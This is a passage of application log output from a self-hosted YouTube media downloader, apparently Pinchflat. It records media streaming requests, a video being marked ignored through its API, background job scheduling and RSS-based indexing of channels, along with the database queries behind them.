m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:42:52.269 [debug] Streaming media item: 18d5fff1-0e08-4056-977a-e1b9cd0c9d5a from 1185991 to 314477099 14:42:52.269 [info] Sent 206 in 438µs 14:42:56.942 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:58.538 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/stream 14:42:58.538 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:42:58.538 [debug] QUERY OK source="media_items" db=0.1ms idle=1596.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:42:58.539 [debug] Streaming media item: 18d5fff1-0e08-4056-977a-e1b9cd0c9d5a from 586948 to 314477099 14:42:58.539 [info] Sent 206 in 584µs 14:42:58.596 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/stream 14:42:58.596 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:42:58.597 [debug] QUERY OK source="media_items" db=0.1ms idle=1535.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:42:58.597 [debug] Streaming media item: 18d5fff1-0e08-4056-977a-e1b9cd0c9d5a from 236600764 to 314477099 14:42:58.597 [info] Sent 206 in 497µs 14:43:00.626 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:09.197 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/stream 14:43:09.197 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:43:09.197 [debug] QUERY OK source="media_items" db=0.1ms idle=1421.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:43:09.197 [debug] Streaming media item: 18d5fff1-0e08-4056-977a-e1b9cd0c9d5a from 289788060 to 314477099 14:43:09.197 [info] Sent 206 in 414µs 14:43:26.943 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:56.944 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.628 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:26.945 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:30.524 [info] POST /api/v1/videos/12826/ignore 14:44:30.524 [debug] Processing with PinchflatWeb.Api.V1.VideoController.ignore/2 Parameters: %{"id" => "12826"} Pipelines: [:api_v1] 14:44:30.524 [debug] QUERY OK source="media_items" db=0.1ms idle=1748.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12826] 14:44:30.524 [debug] QUERY OK source="tasks" db=0.0ms idle=1748.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."media_item_id" = ?) AND (o1."state" IN (?,?,?,?,?,?,?)) [12826, "scheduled", "available", "executing", "retryable", "completed", "discarded", "cancelled"] 14:44:30.525 [debug] QUERY OK source="tasks" db=0.0ms idle=368.7ms DELETE FROM "tasks" WHERE "id" = ? [591] 14:44:30.535 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:44:30.536 [debug] QUERY OK source="media_items" db=0.8ms idle=11.2ms UPDATE "media_items" SET "media_filepath" = ?, "prevent_download" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [nil, true, nil, ~U[2026-07-24 14:44:30Z], 12826] 14:44:30.536 [info] Sent 204 in 12ms 14:44:56.946 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.628 [info] {"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:26.947 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:56.948 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.629 [info] {"source":"oban","duration":115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:26.949 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:56.950 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.631 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:26.951 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:56.952 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.632 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:26.953 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:56.954 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.633 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:26.955 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:56.956 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.633 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:26.957 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:48.562 [info] {"args":{"id":2},"id":675,"meta":{},"system_time":1784904648562410510,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:50:48.563 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1737.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:50:48.563 [debug] QUERY OK source="tasks" db=0.8ms idle=1737.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:50:48.563 [debug] QUERY OK source="settings" db=0.2ms idle=1008.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:50:48.563 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:50:48.564 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:50:48.564 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:50:48.564 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 14:50:48.849 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:50:48.850 [debug] QUERY OK source="media_items" db=0.2ms idle=286.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:50:48.850 [debug] QUERY OK source="media_items" db=0.3ms idle=286.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 14:50:48.851 [debug] QUERY OK source="tasks" db=0.1ms idle=287.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [678, 2, ~U[2026-07-24 14:50:48Z], ~U[2026-07-24 14:50:48Z]] 14:50:48.851 [info] {"args":{"id":2},"id":675,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":289354,"event":"job:stop","queue_time":78550,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:50:48.852 [debug] QUERY OK source="tasks" db=0.1ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:50:56.958 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.635 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:02.578 [info] {"args":{"id":1},"id":676,"meta":{},"system_time":1784904662578223538,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:51:02.578 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1749.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:51:02.578 [debug] QUERY OK source="tasks" db=0.3ms idle=1007.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:51:02.579 [debug] QUERY OK source="settings" db=0.2ms idle=750.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:51:02.579 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:51:02.579 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:51:02.579 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:51:02.579 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 14:51:02.619 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:51:02.619 [debug] QUERY OK source="media_items" db=0.2ms idle=40.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:51:02.622 [debug] QUERY OK source="media_items" db=2.2ms idle=40.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:51:02.622 [debug] QUERY OK source="tasks" db=0.0ms idle=43.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [679, 1, ~U[2026-07-24 14:51:02Z], ~U[2026-07-24 14:51:02Z]] 14:51:02.623 [info] {"args":{"id":1},"id":676,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":44659,"event":"job:stop","queue_time":447412,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:51:02.623 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:51:17.594 [info] {"args":{"id":3},"id":677,"meta":{},"system_time":1784904677594285055,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:51:17.594 [debug] QUERY OK source="sources" db=0.4ms idle=1764.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:51:17.594 [debug] QUERY OK source="tasks" db=0.4ms idle=1764.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:51:17.595 [debug] QUERY OK source="settings" db=0.1ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:51:17.595 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:51:17.595 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:51:17.595 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:51:17.595 [debug] Fetching recent media 